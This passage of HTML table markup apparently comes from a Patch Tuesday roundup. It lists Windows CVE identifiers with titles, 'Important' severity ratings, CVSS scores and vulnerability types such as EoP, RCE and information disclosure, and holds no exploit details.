  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
